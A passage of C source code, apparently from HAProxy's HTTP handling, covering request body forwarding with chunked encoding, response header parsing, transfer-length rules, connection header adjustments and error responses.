txn->rsp.msg_state == HTTP_MSG_CLOSED)) {
s->req->analysers = 0;
channel_auto_close(s->req);
channel_auto_read(s->req);
s->rep->analysers = 0;
channel_auto_close(s->rep);
channel_auto_read(s->rep);
}
else if ((txn->req.msg_state >= HTTP_MSG_DONE &&
(txn->rsp.msg_state == HTTP_MSG_CLOSED || (s->rep->flags & CF_SHUTW))) ||
txn->rsp.msg_state == HTTP_MSG_ERROR ||
txn->req.msg_state == HTTP_MSG_ERROR) {
s->rep->analysers = 0;
channel_auto_close(s->rep);
channel_auto_read(s->rep);
s->req->analysers = 0;
channel_abort(s->req);
channel_auto_close(s->req);
channel_auto_read(s->req);
bi_erase(s->req);
}
else if ((txn->req.msg_state == HTTP_MSG_DONE ||
txn->req.msg_state == HTTP_MSG_CLOSED) &&
txn->rsp.msg_state == HTTP_MSG_DONE &&
((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_SCL ||
(txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_KAL)) {
/* server-close/keep-alive: terminate this transaction,
* possibly killing the server connection and reinitialize
* a fresh-new transaction.
*/
http_end_txn_clean_session(s);
}
return txn->req.msg_state != old_req_state ||
txn->rsp.msg_state != old_res_state;
}
/* This function is an analyser which forwards request body (including chunk
* sizes if any). It is called as soon as we must forward, even if we forward
* zero byte. The only situation where it must not be called is when we're in
* tunnel mode and we want to forward till the close. It's used both to forward
* remaining data and to resync after end of body. It expects the msg_state to
* be between MSG_BODY and MSG_DONE (inclusive). It returns zero if it needs to
* read more data, or 1 once we can go on with next request or end the session.
* When in MSG_DATA or MSG_TRAILERS, it will automatically forward chunk_len
* bytes of pending data + the headers if not already done.
*/
int http_request_forward_body(struct session *s, struct channel *req, int an_bit)
{
struct http_txn *txn = &s->txn;
struct http_msg *msg = &s->txn.req;
if (unlikely(msg->msg_state < HTTP_MSG_BODY))
return 0;
if ((req->flags & (CF_READ_ERROR|CF_READ_TIMEOUT|CF_WRITE_ERROR|CF_WRITE_TIMEOUT)) ||
((req->flags & CF_SHUTW) && (req->to_forward || req->buf->o))) {
/* Output closed while we were sending data. We must abort and
* wake the other side up.
*/
msg->msg_state = HTTP_MSG_ERROR;
http_resync_states(s);
return 1;
}
/* Note that we don't have to send 100-continue back because we don't
* need the data to complete our job, and it's up to the server to
* decide whether to return 100, 417 or anything else in return of
* an "Expect: 100-continue" header.
*/
if (msg->sov > 0) {
/* we have msg->sov which points to the first byte of message
* body, and req->buf.p still points to the beginning of the
* message. We forward the headers now, as we don't need them
* anymore, and we want to flush them.
*/
b_adv(req->buf, msg->sov);
msg->next -= msg->sov;
msg->sov = 0;
/* The previous analysers guarantee that the state is somewhere
* between MSG_BODY and the first MSG_DATA. So msg->sol and
* msg->next are always correct.
*/
if (msg->msg_state < HTTP_MSG_CHUNK_SIZE) {
if (msg->flags & HTTP_MSGF_TE_CHNK)
msg->msg_state = HTTP_MSG_CHUNK_SIZE;
else
msg->msg_state = HTTP_MSG_DATA;
}
}
/* Some post-connect processing might want us to refrain from starting to
* forward data. Currently, the only reason for this is "balance url_param"
* whichs need to parse/process the request after we've enabled forwarding.
*/
if (unlikely(msg->flags & HTTP_MSGF_WAIT_CONN)) {
if (!(s->rep->flags & CF_READ_ATTACHED)) {
channel_auto_connect(req);
req->flags |= CF_WAKE_CONNECT;
goto missing_data;
}
msg->flags &= ~HTTP_MSGF_WAIT_CONN;
}
/* in most states, we should abort in case of early close */
channel_auto_close(req);
if (req->to_forward) {
/* We can't process the buffer's contents yet */
req->flags |= CF_WAKE_WRITE;
goto missing_data;
}
while (1) {
if (msg->msg_state == HTTP_MSG_DATA) {
/* must still forward */
/* we may have some pending data starting at req->buf->p */
if (msg->chunk_len > req->buf->i - msg->next) {
req->flags |= CF_WAKE_WRITE;
goto missing_data;
}
msg->next += msg->chunk_len;
msg->chunk_len = 0;
/* nothing left to forward */
if (msg->flags & HTTP_MSGF_TE_CHNK)
msg->msg_state = HTTP_MSG_CHUNK_CRLF;
else
msg->msg_state = HTTP_MSG_DONE;
}
else if (msg->msg_state == HTTP_MSG_CHUNK_SIZE) {
/* read the chunk size and assign it to ->chunk_len, then
* set ->next to point to the body and switch to DATA or
* TRAILERS state.
*/
int ret = http_parse_chunk_size(msg);
if (ret == 0)
goto missing_data;
else if (ret < 0) {
session_inc_http_err_ctr(s);
if (msg->err_pos >= 0)
http_capture_bad_message(&s->fe->invalid_req, s, msg, HTTP_MSG_CHUNK_SIZE, s->be);
goto return_bad_req;
}
/* otherwise we're in HTTP_MSG_DATA or HTTP_MSG_TRAILERS state */
}
else if (msg->msg_state == HTTP_MSG_CHUNK_CRLF) {
/* we want the CRLF after the data */
int ret = http_skip_chunk_crlf(msg);
if (ret == 0)
goto missing_data;
else if (ret < 0) {
session_inc_http_err_ctr(s);
if (msg->err_pos >= 0)
http_capture_bad_message(&s->fe->invalid_req, s, msg, HTTP_MSG_CHUNK_CRLF, s->be);
goto return_bad_req;
}
/* we're in MSG_CHUNK_SIZE now */
}
else if (msg->msg_state == HTTP_MSG_TRAILERS) {
int ret = http_forward_trailers(msg);
if (ret == 0)
goto missing_data;
else if (ret < 0) {
session_inc_http_err_ctr(s);
if (msg->err_pos >= 0)
http_capture_bad_message(&s->fe->invalid_req, s, msg, HTTP_MSG_TRAILERS, s->be);
goto return_bad_req;
}
/* we're in HTTP_MSG_DONE now */
}
else {
int old_state = msg->msg_state;
/* other states, DONE...TUNNEL */
/* we may have some pending data starting at req->buf->p
* such as last chunk of data or trailers.
*/
b_adv(req->buf, msg->next);
if (unlikely(!(s->req->flags & CF_WROTE_DATA)))
msg->sov -= msg->next;
msg->next = 0;
/* for keep-alive we don't want to forward closes on DONE */
if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_KAL ||
(txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_SCL)
channel_dont_close(req);
if (http_resync_states(s)) {
/* some state changes occurred, maybe the analyser
* was disabled too.
*/
if (unlikely(msg->msg_state == HTTP_MSG_ERROR)) {
if (req->flags & CF_SHUTW) {
/* request errors are most likely due to
* the server aborting the transfer.
*/
goto aborted_xfer;
}
if (msg->err_pos >= 0)
http_capture_bad_message(&s->fe->invalid_req, s, msg, old_state, s->be);
goto return_bad_req;
}
return 1;
}
/* If "option abortonclose" is set on the backend, we
* want to monitor the client's connection and forward
* any shutdown notification to the server, which will
* decide whether to close or to go on processing the
* request.
*/
if (s->be->options & PR_O_ABRT_CLOSE) {
channel_auto_read(req);
channel_auto_close(req);
}
else if (s->txn.meth == HTTP_METH_POST) {
/* POST requests may require to read extra CRLF
* sent by broken browsers and which could cause
* an RST to be sent upon close on some systems
* (eg: Linux).
*/
channel_auto_read(req);
}
return 0;
}
}
missing_data:
/* we may have some pending data starting at req->buf->p */
b_adv(req->buf, msg->next);
if (unlikely(!(s->req->flags & CF_WROTE_DATA)))
msg->sov -= msg->next + MIN(msg->chunk_len, req->buf->i);
msg->next = 0;
msg->chunk_len -= channel_forward(req, msg->chunk_len);
/* stop waiting for data if the input is closed before the end */
if (req->flags & CF_SHUTR) {
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_CLICL;
if (!(s->flags & SN_FINST_MASK)) {
if (txn->rsp.msg_state < HTTP_MSG_ERROR)
s->flags |= SN_FINST_H;
else
s->flags |= SN_FINST_D;
}
s->fe->fe_counters.cli_aborts++;
s->be->be_counters.cli_aborts++;
if (objt_server(s->target))
objt_server(s->target)->counters.cli_aborts++;
goto return_bad_req_stats_ok;
}
/* waiting for the last bits to leave the buffer */
if (req->flags & CF_SHUTW)
goto aborted_xfer;
/* When TE: chunked is used, we need to get there again to parse remaining
* chunks even if the client has closed, so we don't want to set CF_DONTCLOSE.
*/
if (msg->flags & HTTP_MSGF_TE_CHNK)
channel_dont_close(req);
/* We know that more data are expected, but we couldn't send more that
* what we did. So we always set the CF_EXPECT_MORE flag so that the
* system knows it must not set a PUSH on this first part. Interactive
* modes are already handled by the stream sock layer. We must not do
* this in content-length mode because it could present the MSG_MORE
* flag with the last block of forwarded data, which would cause an
* additional delay to be observed by the receiver.
*/
if (msg->flags & HTTP_MSGF_TE_CHNK)
req->flags |= CF_EXPECT_MORE;
return 0;
return_bad_req: /* let's centralize all bad requests */
s->fe->fe_counters.failed_req++;
if (s->listener->counters)
s->listener->counters->failed_req++;
return_bad_req_stats_ok:
/* we may have some pending data starting at req->buf->p */
b_adv(req->buf, msg->next);
msg->next = 0;
txn->req.msg_state = HTTP_MSG_ERROR;
if (txn->status) {
/* Note: we don't send any error if some data were already sent */
stream_int_retnclose(req->prod, NULL);
} else {
txn->status = 400;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_400));
}
req->analysers = 0;
s->rep->analysers = 0; /* we're in data phase, we want to abort both directions */
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK)) {
if (txn->rsp.msg_state < HTTP_MSG_ERROR)
s->flags |= SN_FINST_H;
else
s->flags |= SN_FINST_D;
}
return 0;
aborted_xfer:
txn->req.msg_state = HTTP_MSG_ERROR;
if (txn->status) {
/* Note: we don't send any error if some data were already sent */
stream_int_retnclose(req->prod, NULL);
} else {
txn->status = 502;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_502));
}
req->analysers = 0;
s->rep->analysers = 0; /* we're in data phase, we want to abort both directions */
s->fe->fe_counters.srv_aborts++;
s->be->be_counters.srv_aborts++;
if (objt_server(s->target))
objt_server(s->target)->counters.srv_aborts++;
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_SRVCL;
if (!(s->flags & SN_FINST_MASK)) {
if (txn->rsp.msg_state < HTTP_MSG_ERROR)
s->flags |= SN_FINST_H;
else
s->flags |= SN_FINST_D;
}
return 0;
}
/* This stream analyser waits for a complete HTTP response. It returns 1 if the
* processing can continue on next analysers, or zero if it either needs more
* data or wants to immediately abort the response (eg: timeout, error, ...). It
* is tied to AN_RES_WAIT_HTTP and may may remove itself from s->rep->analysers
* when it has nothing left to do, and may remove any analyser when it wants to
* abort.
*/
int http_wait_for_response(struct session *s, struct channel *rep, int an_bit)
{
struct http_txn *txn = &s->txn;
struct http_msg *msg = &txn->rsp;
struct hdr_ctx ctx;
int use_close_only;
int cur_idx;
int n;
DPRINTF(stderr,"[%u] %s: session=%p b=%p, exp(r,w)=%u,%u bf=%08x bh=%d analysers=%02x\n",
now_ms, __FUNCTION__,
s,
rep,
rep->rex, rep->wex,
rep->flags,
rep->buf->i,
rep->analysers);
/*
* Now parse the partial (or complete) lines.
* We will check the response syntax, and also join multi-line
* headers. An index of all the lines will be elaborated while
* parsing.
*
* For the parsing, we use a 28 states FSM.
*
* Here is the information we currently have :
* rep->buf->p = beginning of response
* rep->buf->p + msg->eoh = end of processed headers / start of current one
* rep->buf->p + rep->buf->i = end of input data
* msg->eol = end of current header or line (LF or CRLF)
* msg->next = first non-visited byte
*/
next_one:
/* There's a protected area at the end of the buffer for rewriting
* purposes. We don't want to start to parse the request if the
* protected area is affected, because we may have to move processed
* data later, which is much more complicated.
*/
if (buffer_not_empty(rep->buf) && msg->msg_state < HTTP_MSG_ERROR) {
if (unlikely(!channel_reserved(rep))) {
/* some data has still not left the buffer, wake us once that's done */
if (rep->flags & (CF_SHUTW|CF_SHUTW_NOW|CF_WRITE_ERROR|CF_WRITE_TIMEOUT))
goto abort_response;
channel_dont_close(rep);
rep->flags |= CF_READ_DONTWAIT; /* try to get back here ASAP */
rep->flags |= CF_WAKE_WRITE;
return 0;
}
if (unlikely(bi_end(rep->buf) < b_ptr(rep->buf, msg->next) ||
bi_end(rep->buf) > rep->buf->data + rep->buf->size - global.tune.maxrewrite))
buffer_slow_realign(rep->buf);
if (likely(msg->next < rep->buf->i))
http_msg_analyzer(msg, &txn->hdr_idx);
}
/* 1: we might have to print this header in debug mode */
if (unlikely((global.mode & MODE_DEBUG) &&
(!(global.mode & MODE_QUIET) || (global.mode & MODE_VERBOSE)) &&
msg->msg_state >= HTTP_MSG_BODY)) {
char *eol, *sol;
sol = rep->buf->p;
eol = sol + (msg->sl.st.l ? msg->sl.st.l : rep->buf->i);
debug_hdr("srvrep", s, sol, eol);
sol += hdr_idx_first_pos(&txn->hdr_idx);
cur_idx = hdr_idx_first_idx(&txn->hdr_idx);
while (cur_idx) {
eol = sol + txn->hdr_idx.v[cur_idx].len;
debug_hdr("srvhdr", s, sol, eol);
sol = eol + txn->hdr_idx.v[cur_idx].cr + 1;
cur_idx = txn->hdr_idx.v[cur_idx].next;
}
}
/*
* Now we quickly check if we have found a full valid response.
* If not so, we check the FD and buffer states before leaving.
* A full response is indicated by the fact that we have seen
* the double LF/CRLF, so the state is >= HTTP_MSG_BODY. Invalid
* responses are checked first.
*
* Depending on whether the client is still there or not, we
* may send an error response back or not. Note that normally
* we should only check for HTTP status there, and check I/O
* errors somewhere else.
*/
if (unlikely(msg->msg_state < HTTP_MSG_BODY)) {
/* Invalid response */
if (unlikely(msg->msg_state == HTTP_MSG_ERROR)) {
/* we detected a parsing error. We want to archive this response
* in the dedicated proxy area for later troubleshooting.
*/
hdr_response_bad:
if (msg->msg_state == HTTP_MSG_ERROR || msg->err_pos >= 0)
http_capture_bad_message(&s->be->invalid_rep, s, msg, msg->msg_state, s->fe);
s->be->be_counters.failed_resp++;
if (objt_server(s->target)) {
objt_server(s->target)->counters.failed_resp++;
health_adjust(objt_server(s->target), HANA_STATUS_HTTP_HDRRSP);
}
abort_response:
channel_auto_close(rep);
rep->analysers = 0;
txn->status = 502;
rep->prod->flags |= SI_FL_NOLINGER;
bi_erase(rep);
stream_int_retnclose(rep->cons, http_error_message(s, HTTP_ERR_502));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_H;
return 0;
}
/* too large response does not fit in buffer. */
else if (buffer_full(rep->buf, global.tune.maxrewrite)) {
if (msg->err_pos < 0)
msg->err_pos = rep->buf->i;
goto hdr_response_bad;
}
/* read error */
else if (rep->flags & CF_READ_ERROR) {
if (msg->err_pos >= 0)
http_capture_bad_message(&s->be->invalid_rep, s, msg, msg->msg_state, s->fe);
else if (txn->flags & TX_NOT_FIRST)
goto abort_keep_alive;
s->be->be_counters.failed_resp++;
if (objt_server(s->target)) {
objt_server(s->target)->counters.failed_resp++;
health_adjust(objt_server(s->target), HANA_STATUS_HTTP_READ_ERROR);
}
channel_auto_close(rep);
rep->analysers = 0;
txn->status = 502;
rep->prod->flags |= SI_FL_NOLINGER;
bi_erase(rep);
stream_int_retnclose(rep->cons, http_error_message(s, HTTP_ERR_502));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_SRVCL;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_H;
return 0;
}
/* read timeout : return a 504 to the client. */
else if (rep->flags & CF_READ_TIMEOUT) {
if (msg->err_pos >= 0)
http_capture_bad_message(&s->be->invalid_rep, s, msg, msg->msg_state, s->fe);
else if (txn->flags & TX_NOT_FIRST)
goto abort_keep_alive;
s->be->be_counters.failed_resp++;
if (objt_server(s->target)) {
objt_server(s->target)->counters.failed_resp++;
health_adjust(objt_server(s->target), HANA_STATUS_HTTP_READ_TIMEOUT);
}
channel_auto_close(rep);
rep->analysers = 0;
txn->status = 504;
rep->prod->flags |= SI_FL_NOLINGER;
bi_erase(rep);
stream_int_retnclose(rep->cons, http_error_message(s, HTTP_ERR_504));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_SRVTO;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_H;
return 0;
}
/* client abort with an abortonclose */
else if ((rep->flags & CF_SHUTR) && ((s->req->flags & (CF_SHUTR|CF_SHUTW)) == (CF_SHUTR|CF_SHUTW))) {
s->fe->fe_counters.cli_aborts++;
s->be->be_counters.cli_aborts++;
if (objt_server(s->target))
objt_server(s->target)->counters.cli_aborts++;
rep->analysers = 0;
channel_auto_close(rep);
txn->status = 400;
bi_erase(rep);
stream_int_retnclose(rep->cons, http_error_message(s, HTTP_ERR_400));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_CLICL;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_H;
/* process_session() will take care of the error */
return 0;
}
/* close from server, capture the response if the server has started to respond */
else if (rep->flags & CF_SHUTR) {
if (msg->msg_state >= HTTP_MSG_RPVER || msg->err_pos >= 0)
http_capture_bad_message(&s->be->invalid_rep, s, msg, msg->msg_state, s->fe);
else if (txn->flags & TX_NOT_FIRST)
goto abort_keep_alive;
s->be->be_counters.failed_resp++;
if (objt_server(s->target)) {
objt_server(s->target)->counters.failed_resp++;
health_adjust(objt_server(s->target), HANA_STATUS_HTTP_BROKEN_PIPE);
}
channel_auto_close(rep);
rep->analysers = 0;
txn->status = 502;
rep->prod->flags |= SI_FL_NOLINGER;
bi_erase(rep);
stream_int_retnclose(rep->cons, http_error_message(s, HTTP_ERR_502));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_SRVCL;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_H;
return 0;
}
/* write error to client (we don't send any message then) */
else if (rep->flags & CF_WRITE_ERROR) {
if (msg->err_pos >= 0)
http_capture_bad_message(&s->be->invalid_rep, s, msg, msg->msg_state, s->fe);
else if (txn->flags & TX_NOT_FIRST)
goto abort_keep_alive;
s->be->be_counters.failed_resp++;
rep->analysers = 0;
channel_auto_close(rep);
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_CLICL;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_H;
/* process_session() will take care of the error */
return 0;
}
channel_dont_close(rep);
rep->flags |= CF_READ_DONTWAIT; /* try to get back here ASAP */
return 0;
}
/* More interesting part now : we know that we have a complete
* response which at least looks like HTTP. We have an indicator
* of each header's length, so we can parse them quickly.
*/
if (unlikely(msg->err_pos >= 0))
http_capture_bad_message(&s->be->invalid_rep, s, msg, msg->msg_state, s->fe);
/*
* 1: get the status code
*/
n = rep->buf->p[msg->sl.st.c] - '0';
if (n < 1 || n > 5)
n = 0;
/* when the client triggers a 4xx from the server, it's most often due
* to a missing object or permission. These events should be tracked
* because if they happen often, it may indicate a brute force or a
* vulnerability scan.
*/
if (n == 4)
session_inc_http_err_ctr(s);
if (objt_server(s->target))
objt_server(s->target)->counters.p.http.rsp[n]++;
/* check if the response is HTTP/1.1 or above */
if ((msg->sl.st.v_l == 8) &&
((rep->buf->p[5] > '1') ||
((rep->buf->p[5] == '1') && (rep->buf->p[7] >= '1'))))
msg->flags |= HTTP_MSGF_VER_11;
/* "connection" has not been parsed yet */
txn->flags &= ~(TX_HDR_CONN_PRS|TX_HDR_CONN_CLO|TX_HDR_CONN_KAL|TX_HDR_CONN_UPG|TX_CON_CLO_SET|TX_CON_KAL_SET);
/* transfer length unknown*/
msg->flags &= ~HTTP_MSGF_XFER_LEN;
txn->status = strl2ui(rep->buf->p + msg->sl.st.c, msg->sl.st.c_l);
/* Adjust server's health based on status code. Note: status codes 501
* and 505 are triggered on demand by client request, so we must not
* count them as server failures.
*/
if (objt_server(s->target)) {
if (txn->status >= 100 && (txn->status < 500 || txn->status == 501 || txn->status == 505))
health_adjust(objt_server(s->target), HANA_STATUS_HTTP_OK);
else
health_adjust(objt_server(s->target), HANA_STATUS_HTTP_STS);
}
/*
* 2: check for cacheability.
*/
switch (txn->status) {
case 100:
/*
* We may be facing a 100-continue response, in which case this
* is not the right response, and we're waiting for the next one.
* Let's allow this response to go to the client and wait for the
* next one.
*/
hdr_idx_init(&txn->hdr_idx);
msg->next -= channel_forward(rep, msg->next);
msg->msg_state = HTTP_MSG_RPBEFORE;
txn->status = 0;
s->logs.t_data = -1; /* was not a response yet */
goto next_one;
case 200:
case 203:
case 206:
case 300:
case 301:
case 410:
/* RFC2616 @13.4:
* "A response received with a status code of
* 200, 203, 206, 300, 301 or 410 MAY be stored
* by a cache (...) unless a cache-control
* directive prohibits caching."
*
* RFC2616 @9.5: POST method :
* "Responses to this method are not cacheable,
* unless the response includes appropriate
* Cache-Control or Expires header fields."
*/
if (likely(txn->meth != HTTP_METH_POST) &&
((s->be->options & PR_O_CHK_CACHE) || (s->be->ck_opts & PR_CK_NOC)))
txn->flags |= TX_CACHEABLE | TX_CACHE_COOK;
break;
default:
break;
}
/*
* 3: we may need to capture headers
*/
s->logs.logwait &= ~LW_RESP;
if (unlikely((s->logs.logwait & LW_RSPHDR) && txn->rsp.cap))
capture_headers(rep->buf->p, &txn->hdr_idx,
txn->rsp.cap, s->fe->rsp_cap);
/* 4: determine the transfer-length.
* According to RFC2616 #4.4, amended by the HTTPbis working group,
* the presence of a message-body in a RESPONSE and its transfer length
* must be determined that way :
*
* All responses to the HEAD request method MUST NOT include a
* message-body, even though the presence of entity-header fields
* might lead one to believe they do. All 1xx (informational), 204
* (No Content), and 304 (Not Modified) responses MUST NOT include a
* message-body. All other responses do include a message-body,
* although it MAY be of zero length.
*
* 1. Any response which "MUST NOT" include a message-body (such as the
* 1xx, 204 and 304 responses and any response to a HEAD request) is
* always terminated by the first empty line after the header fields,
* regardless of the entity-header fields present in the message.
*
* 2. If a Transfer-Encoding header field (Section 9.7) is present and
* the "chunked" transfer-coding (Section 6.2) is used, the
* transfer-length is defined by the use of this transfer-coding.
* If a Transfer-Encoding header field is present and the "chunked"
* transfer-coding is not present, the transfer-length is defined by
* the sender closing the connection.
*
* 3. If a Content-Length header field is present, its decimal value in
* OCTETs represents both the entity-length and the transfer-length.
* If a message is received with both a Transfer-Encoding header
* field and a Content-Length header field, the latter MUST be ignored.
*
* 4. If the message uses the media type "multipart/byteranges", and
* the transfer-length is not otherwise specified, then this self-
* delimiting media type defines the transfer-length. This media
* type MUST NOT be used unless the sender knows that the recipient
* can parse it; the presence in a request of a Range header with
* multiple byte-range specifiers from a 1.1 client implies that the
* client can parse multipart/byteranges responses.
*
* 5. By the server closing the connection.
*/
/* Skip parsing if no content length is possible. The response flags
* remain 0 as well as the chunk_len, which may or may not mirror
* the real header value, and we note that we know the response's length.
* FIXME: should we parse anyway and return an error on chunked encoding ?
*/
if (txn->meth == HTTP_METH_HEAD ||
(txn->status >= 100 && txn->status < 200) ||
txn->status == 204 || txn->status == 304) {
msg->flags |= HTTP_MSGF_XFER_LEN;
s->comp_algo = NULL;
goto skip_content_length;
}
use_close_only = 0;
ctx.idx = 0;
while ((msg->flags & HTTP_MSGF_VER_11) &&
http_find_header2("Transfer-Encoding", 17, rep->buf->p, &txn->hdr_idx, &ctx)) {
if (ctx.vlen == 7 && strncasecmp(ctx.line + ctx.val, "chunked", 7) == 0)
msg->flags |= (HTTP_MSGF_TE_CHNK | HTTP_MSGF_XFER_LEN);
else if (msg->flags & HTTP_MSGF_TE_CHNK) {
/* bad transfer-encoding (chunked followed by something else) */
use_close_only = 1;
msg->flags &= ~(HTTP_MSGF_TE_CHNK | HTTP_MSGF_XFER_LEN);
break;
}
}
/* FIXME: below we should remove the content-length header(s) in case of chunked encoding */
ctx.idx = 0;
while (!(msg->flags & HTTP_MSGF_TE_CHNK) && !use_close_only &&
http_find_header2("Content-Length", 14, rep->buf->p, &txn->hdr_idx, &ctx)) {
signed long long cl;
if (!ctx.vlen) {
msg->err_pos = ctx.line + ctx.val - rep->buf->p;
goto hdr_response_bad;
}
if (strl2llrc(ctx.line + ctx.val, ctx.vlen, &cl)) {
msg->err_pos = ctx.line + ctx.val - rep->buf->p;
goto hdr_response_bad; /* parse failure */
}
if (cl < 0) {
msg->err_pos = ctx.line + ctx.val - rep->buf->p;
goto hdr_response_bad;
}
if ((msg->flags & HTTP_MSGF_CNT_LEN) && (msg->chunk_len != cl)) {
msg->err_pos = ctx.line + ctx.val - rep->buf->p;
goto hdr_response_bad; /* already specified, was different */
}
msg->flags |= HTTP_MSGF_CNT_LEN | HTTP_MSGF_XFER_LEN;
msg->body_len = msg->chunk_len = cl;
}
if (s->fe->comp || s->be->comp)
select_compression_response_header(s, rep->buf);
skip_content_length:
/* Now we have to check if we need to modify the Connection header.
* This is more difficult on the response than it is on the request,
* because we can have two different HTTP versions and we don't know
* how the client will interprete a response. For instance, let's say
* that the client sends a keep-alive request in HTTP/1.0 and gets an
* HTTP/1.1 response without any header. Maybe it will bound itself to
* HTTP/1.0 because it only knows about it, and will consider the lack
* of header as a close, or maybe it knows HTTP/1.1 and can consider
* the lack of header as a keep-alive. Thus we will use two flags
* indicating how a request MAY be understood by the client. In case
* of multiple possibilities, we'll fix the header to be explicit. If
* ambiguous cases such as both close and keepalive are seen, then we
* will fall back to explicit close. Note that we won't take risks with
* HTTP/1.0 clients which may not necessarily understand keep-alive.
* See doc/internals/connection-header.txt for the complete matrix.
*/
if (unlikely((txn->meth == HTTP_METH_CONNECT && txn->status == 200) ||
txn->status == 101)) {
/* Either we've established an explicit tunnel, or we're
* switching the protocol. In both cases, we're very unlikely
* to understand the next protocols. We have to switch to tunnel
* mode, so that we transfer the request and responses then let
* this protocol pass unmodified. When we later implement specific
* parsers for such protocols, we'll want to check the Upgrade
* header which contains information about that protocol for
* responses with status 101 (eg: see RFC2817 about TLS).
*/
txn->flags = (txn->flags & ~TX_CON_WANT_MSK) | TX_CON_WANT_TUN;
}
else if ((txn->status >= 200) && !(txn->flags & TX_HDR_CONN_PRS) &&
((txn->flags & TX_CON_WANT_MSK) != TX_CON_WANT_TUN ||
((s->fe->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL ||
(s->be->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL))) {
int to_del = 0;
/* this situation happens when combining pretend-keepalive with httpclose. */
if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_KAL &&
((s->fe->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL ||
(s->be->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL))
txn->flags = (txn->flags & ~TX_CON_WANT_MSK) | TX_CON_WANT_CLO;
/* on unknown transfer length, we must close */
if (!(msg->flags & HTTP_MSGF_XFER_LEN) &&
(txn->flags & TX_CON_WANT_MSK) != TX_CON_WANT_TUN)
txn->flags = (txn->flags & ~TX_CON_WANT_MSK) | TX_CON_WANT_CLO;
/* now adjust header transformations depending on current state */
if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_TUN ||
(txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_CLO) {
to_del |= 2; /* remove "keep-alive" on any response */
if (!(msg->flags & HTTP_MSGF_VER_11))
to_del |= 1; /* remove "close" for HTTP/1.0 responses */
}
else { /* SCL / KAL */
to_del |= 1; /* remove "close" on any response */
if (txn->req.flags & msg->flags & HTTP_MSGF_VER_11)
to_del |= 2; /* remove "keep-alive" on pure 1.1 responses */
}
/* Parse and remove some headers from the connection header */
http_parse_connection_header(txn, msg, to_del);
/* Some keep-alive responses are converted to Server-close if
* the server wants to close.
*/
if ((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_KAL) {
if ((txn->flags & TX_HDR_CONN_CLO) ||
(!(txn->flags & TX_HDR_CONN_KAL) && !(msg->flags & HTTP_MSGF_VER_11)))
txn->flags = (txn->flags & ~TX_CON_WANT_MSK) | TX_CON_WANT_SCL;
}
}
/* we want to have the response time before we start processing it */
s->logs.t_data = tv_ms_elapsed(&s->logs.tv_accept, &now);
/* end of job, return OK */
rep->analysers &= ~an_bit;
rep->analyse_exp = TICK_ETERNITY;
channel_auto_close(rep);
return 1;
abort_keep_alive:
/* A keep-alive request to the server failed on a network error.
* The client is required to retry. We need to close without returning
* any other information so that the client retries.
*/
txn->status = 0;
rep->analysers = 0;
s->req->analysers = 0;
channel_auto_close(rep);
s->logs.logwait = 0;
s->logs.level = 0;
s->rep->flags &= ~CF_EXPECT_MORE; /* speed up sending a previous response */
bi_erase(rep);
stream_int_retnclose(rep->cons, NULL);
return 0;
}
/* This function performs all the processing enabled for the current response.
* It normally returns 1 unless it wants to break. It relies on buffers flags,
* and updates s->rep->analysers. It might make sense to explode it into several
* other functions. It works like process_request (see indications above).
*/
int http_process_res_common(struct session *s, struct channel *rep, int an_bit, struct proxy *px)
{
struct http_txn *txn = &s->txn;
struct http_msg *msg = &txn->rsp;
struct proxy *cur_proxy;
struct cond_wordlist *wl;
struct http_res_rule *http_res_last_rule = NULL;
DPRINTF(stderr,"[%u] %s: session=%p b=%p, exp(r,w)=%u,%u bf=%08x bh=%d analysers=%02x\n",
now_ms, __FUNCTION__,
s,
rep,
rep->rex, rep->wex,
rep->flags,
rep->buf->i,
rep->analysers);
if (unlikely(msg->msg_state < HTTP_MSG_BODY)) /* we need more data */
return 0;
rep->analysers &= ~an_bit;
rep->analyse_exp = TICK_ETERNITY;
/* The stats applet needs to adjust the Connection header but we don't
* apply any filter there.
*/
if (unlikely(objt_applet(s->target) == &http_stats_applet))
goto skip_filters;
/*
* We will have to evaluate the filters.
* As opposed to version 1.2, now they will be evaluated in the
* filters order and not in the header order. This means that
* each filter has to be validated among all headers.
*
* Filters are tried with ->be first, then with ->fe if it is
* different from ->be.
*/
cur_proxy = s->be;
while (1) {
struct proxy *rule_set = cur_proxy;
/* evaluate http-response rules */
if (!http_res_last_rule)
http_res_last_rule = http_res_get_intercept_rule(cur_proxy, &cur_proxy->http_res_rules, s, txn);
/* try headers filters */
if (rule_set->rsp_exp != NULL) {
if (apply_filters_to_response(s, rep, rule_set) < 0) {
return_bad_resp:
if (objt_server(s->target)) {
objt_server(s->target)->counters.failed_resp++;
health_adjust(objt_server(s->target), HANA_STATUS_HTTP_RSP);
}
s->be->be_counters.failed_resp++;
return_srv_prx_502:
rep->analysers = 0;
txn->status = 502;
